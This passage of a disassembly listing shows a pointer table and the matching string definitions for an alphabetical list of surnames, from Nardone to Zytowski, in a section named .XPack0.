		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .XPack0:00431420o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: .XPack0:0043141Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: .XPack0:00431418o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: .XPack0:00431414o
aZoldak		db 'Zoldak',0           ; DATA XREF: .XPack0:00431410o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: .XPack0:0043140Co
aZegans		db 'Zegans',0           ; DATA XREF: .XPack0:00431408o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .XPack0:00431404o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .XPack0:00431400o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .XPack0:004313FCo
aYu		db 'Yu',0               ; DATA XREF: .XPack0:004313F8o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: .XPack0:004313F4o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .XPack0:004313F0o
aYoffe		db 'Yoffe',0            ; DATA XREF: .XPack0:004313ECo
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .XPack0:004313E8o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: .XPack0:004313E4o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .XPack0:004313E0o
aYbarra		db 'Ybarra',0           ; DATA XREF: .XPack0:004313DCo
		align 4
aYates		db 'Yates',0            ; DATA XREF: .XPack0:004313D8o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .XPack0:004313D4o
aYankee		db 'Yankee',0           ; DATA XREF: .XPack0:004313D0o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: .XPack0:004313CCo
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .XPack0:004313C8o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: .XPack0:004313C4o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .XPack0:004313C0o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .XPack0:004313BCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: .XPack0:004313B8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: .XPack0:004313B4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: .XPack0:004313B0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .XPack0:004313ACo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: .XPack0:004313A8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: .XPack0:004313A4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: .XPack0:004313A0o
aVitali		db 'Vitali',0           ; DATA XREF: .XPack0:0043139Co
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: .XPack0:00431398o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .XPack0:00431394o
aVillarreal	db 'Villarreal',0       ; DATA XREF: .XPack0:00431390o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .XPack0:0043138Co
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .XPack0:00431388o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .XPack0:00431384o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .XPack0:00431380o
aWilder		db 'Wilder',0           ; DATA XREF: .XPack0:0043137Co
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .XPack0:00431378o
aViens		db 'Viens',0            ; DATA XREF: .XPack0:00431374o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .XPack0:00431370o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .XPack0:0043136Co
aViano		db 'Viano',0            ; DATA XREF: .XPack0:00431368o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .XPack0:00431364o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .XPack0:00431360o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .XPack0:0043135Co
		align 4
aWhite		db 'White',0            ; DATA XREF: .XPack0:00431358o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .XPack0:00431354o
aWhately	db 'Whately',0          ; DATA XREF: .XPack0:00431350o
aWetzel		db 'Wetzel',0           ; DATA XREF: .XPack0:0043134Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .XPack0:00431348o
aVerghese	db 'Verghese',0         ; DATA XREF: .XPack0:00431344o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: .XPack0:00431340o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: .XPack0:0043133Co
aWelsh		db 'Welsh',0            ; DATA XREF: .XPack0:00431338o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: .XPack0:00431334o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .XPack0:00431330o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .XPack0:0043132Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .XPack0:00431328o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .XPack0:00431324o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .XPack0:00431320o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .XPack0:0043131Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: .XPack0:00431318o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .XPack0:00431314o
aWasowska	db 'Wasowska',0         ; DATA XREF: .XPack0:00431310o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .XPack0:0043130Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .XPack0:00431308o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .XPack0:00431304o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .XPack0:00431300o
aVanallen	db 'vanAllen',0         ; DATA XREF: .XPack0:004312FCo
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .XPack0:004312F8o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .XPack0:004312F4o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .XPack0:004312F0o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .XPack0:004312ECo
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: .XPack0:004312E8o
aWaite		db 'Waite',0            ; DATA XREF: .XPack0:004312E4o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: .XPack0:004312E0o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .XPack0:004312DCo
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: .XPack0:004312D8o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .XPack0:004312D4o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: .XPack0:004312D0o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: .XPack0:004312CCo
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .XPack0:004312C8o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .XPack0:004312C4o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .XPack0:004312C0o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .XPack0:004312BCo
		align 10h
aTuttle		db 'Tuttle',0           ; DATA XREF: .XPack0:004312B8o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .XPack0:004312B4o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: .XPack0:004312B0o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .XPack0:004312ACo
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: .XPack0:004312A8o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .XPack0:004312A4o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .XPack0:004312A0o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .XPack0:0043129Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .XPack0:00431298o
aTruss		db 'Truss',0            ; DATA XREF: .XPack0:00431294o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: .XPack0:00431290o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: .XPack0:0043128Co
aTringali	db 'Tringali',0         ; DATA XREF: .XPack0:00431288o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .XPack0:00431284o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .XPack0:00431280o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .XPack0:0043127Co
		align 10h
aToye		db 'Toye',0             ; DATA XREF: .XPack0:00431278o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .XPack0:00431274o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: .XPack0:00431270o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: .XPack0:0043126Co
aTopulos	db 'Topulos',0          ; DATA XREF: .XPack0:00431268o
aToomer		db 'Toomer',0           ; DATA XREF: .XPack0:00431264o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: .XPack0:00431260o
aTolman		db 'Tolman',0           ; DATA XREF: .XPack0:0043125Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: .XPack0:00431258o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .XPack0:00431254o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .XPack0:00431250o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: .XPack0:0043124Co
aTill		db 'Till',0             ; DATA XREF: .XPack0:00431248o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: .XPack0:00431244o
aThroop		db 'Throop',0           ; DATA XREF: .XPack0:00431240o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: .XPack0:0043123Co
aThisted	db 'Thisted',0          ; DATA XREF: .XPack0:00431238o
aThibault	db 'Thibault',0         ; DATA XREF: .XPack0:00431234o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .XPack0:00431230o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .XPack0:0043122Co
		align 4
aThan		db 'Than',0             ; DATA XREF: .XPack0:00431228o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .XPack0:00431224o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .XPack0:00431220o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: .XPack0:0043121Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .XPack0:00431218o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: .XPack0:00431214o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .XPack0:00431210o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .XPack0:0043120Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .XPack0:00431208o
aTatar		db 'Tatar',0            ; DATA XREF: .XPack0:00431204o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .XPack0:00431200o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: .XPack0:004311FCo
aTambiah	db 'Tambiah',0          ; DATA XREF: .XPack0:004311F8o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .XPack0:004311F4o
		align 4
aTai		db 'Tai',0              ; DATA XREF: .XPack0:004311F0o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .XPack0:004311ECo
aSwindle	db 'Swindle',0          ; DATA XREF: .XPack0:004311E8o
aSweetser	db 'Sweetser',0         ; DATA XREF: .XPack0:004311E4o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .XPack0:004311E0o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: .XPack0:004311DCo
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .XPack0:004311D8o
aSumner		db 'Sumner',0           ; DATA XREF: .XPack0:004311D4o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .XPack0:004311D0o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: .XPack0:004311CCo
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .XPack0:004311C8o
aStrauch	db 'Strauch',0          ; DATA XREF: .XPack0:004311C4o
aStrange	db 'Strange',0          ; DATA XREF: .XPack0:004311C0o
aStott		db 'Stott',0            ; DATA XREF: .XPack0:004311BCo
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .XPack0:004311B8o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .XPack0:004311B4o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .XPack0:004311B0o
aStockwell	db 'Stockwell',0        ; DATA XREF: .XPack0:004311ACo
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .XPack0:004311A8o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: .XPack0:004311A4o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .XPack0:004311A0o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .XPack0:0043119Co
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .XPack0:00431198o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .XPack0:00431194o
aStephanian	db 'Stephanian',0       ; DATA XREF: .XPack0:00431190o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: .XPack0:0043118Co
aStefani	db 'Stefani',0          ; DATA XREF: .XPack0:00431188o
aStatlender	db 'Statlender',0       ; DATA XREF: .XPack0:00431184o
		align 4
aStates		db 'States',0           ; DATA XREF: .XPack0:00431180o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .XPack0:0043117Co
		align 4
aStang		db 'Stang',0            ; DATA XREF: .XPack0:00431178o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .XPack0:00431174o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .XPack0:00431170o
aStmartin	db 'StMartin',0         ; DATA XREF: .XPack0:0043116Co
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: .XPack0:00431168o
